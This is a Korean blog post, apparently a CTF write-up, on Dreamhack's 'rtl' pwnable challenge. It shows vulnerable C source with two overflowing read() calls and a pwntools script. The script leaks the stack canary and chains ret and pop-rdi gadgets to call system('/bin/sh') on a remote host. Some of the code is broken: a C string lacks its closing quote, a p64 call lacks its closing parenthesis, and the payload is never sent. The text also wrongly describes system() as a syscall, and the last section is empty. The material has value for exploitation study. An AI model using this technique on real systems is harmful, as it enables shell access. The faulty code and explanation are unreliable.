Return to Library

동글래차·2023년 6월 20일
0

pwnable

목록 보기
9/9

source code


// dreamhack
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

분석


  • code

  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);		// buffer overflow 가능 -> canary leak
  printf("Buf: %s\n", buf);
  // Overwrite return address
  printf("[2] Overwrite return address\n"); // buffer overflow 가능 -> RTL
  printf("Buf: ");
  read(0, buf, 0x100);
  • checksec

    • canary, NX 확인

실습


    1. Canary leak

      <main+17>: canary = [rbp-0x8]
      <main+123> ~ <main+140>: read buffer setting -> buf = [rbp-0x40]
      buf <-> canary: 0x38
  • canary leak
#canary leak
from pwn import *
def slog(name, addr): return success(': '.join([name, hex(addr)]))

p= remote('host3.dreamhack.games', 16050)
#p = process('./rtl')
e = ELF('./rtl')

buf = b'A' * 0x39			#null byte: (buf<->canary)+1
p.sendafter(b"Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b'\x00' + p.recvn(7))
slog('canary: ',cnry)
    1. RTL
ret = 0x0000000000400285
pop_rdi = 0x0000000000400853
system_plt = e.plt['system']
bin_sh = 0x400874

payload = b'A' * 0x38 + p64(cnry) + b'B' * 0x8  # ret 			overflow
payload += p64(ret)								# ret gadget	추가
payload += p64(pop_rdi)							# pop rdi; 		ret gadget 추가
payload += p64(bin_sh)							# bin/sh		문자열 주소 추가
payload += p64(system_plt						# syscall('bin/sh')
pause()

p.interactive()

3. RTL 실행 흐름


  • main 함수에서의 return
    • RIP를 0x0000000000400285로 옮김
  • return gadget에서의 return
    • 다시 return하여 RIP를 0x0000000000400853로 옮김
  • pop rdi;ret gadget에서의 실행흐름
    • pop rdi를 하여 bin/sh를 rdi에 저장
    • syscall(rdi)
      • rdi를 가지고 syscall로 return

3. exploit


profile
동글동글

0개의 댓글